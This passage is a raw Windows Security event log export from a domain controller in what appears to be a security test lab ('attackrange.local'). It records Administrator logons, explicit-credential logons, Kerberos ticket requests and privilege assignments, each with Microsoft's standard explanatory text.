This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251392
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{1CCAE5E8-05DD-8020-C324-71B138D4B566}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251391
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251390
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13348E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251389
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13348E

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251388
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13348E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{1CCAE5E8-05DD-8020-C324-71B138D4B566}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251387
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{1CCAE5E8-05DD-8020-C324-71B138D4B566}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251386
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{1CCAE5E8-05DD-8020-C324-71B138D4B566}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251385
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251384
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x132E2D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251383
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13346B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251382
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x13346B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64524

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251381
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13346B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251380
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13340A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251379
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x13340A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64523

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251378
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13340A

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251377
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1333A4

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251376
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1333A4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64522

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251375
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1333A4

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251374
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x133343

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251373
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x133343
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64521

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251372
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x133343

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251371
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1327AD

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251370
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x132E2D

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251369
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x132E2D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{1CCAE5E8-05DD-8020-C324-71B138D4B566}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251368
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{1CCAE5E8-05DD-8020-C324-71B138D4B566}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251367
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{1CCAE5E8-05DD-8020-C324-71B138D4B566}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251366
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251365
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1327AD

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:43 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251364
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1327AD
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{1CCAE5E8-05DD-8020-C324-71B138D4B566}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

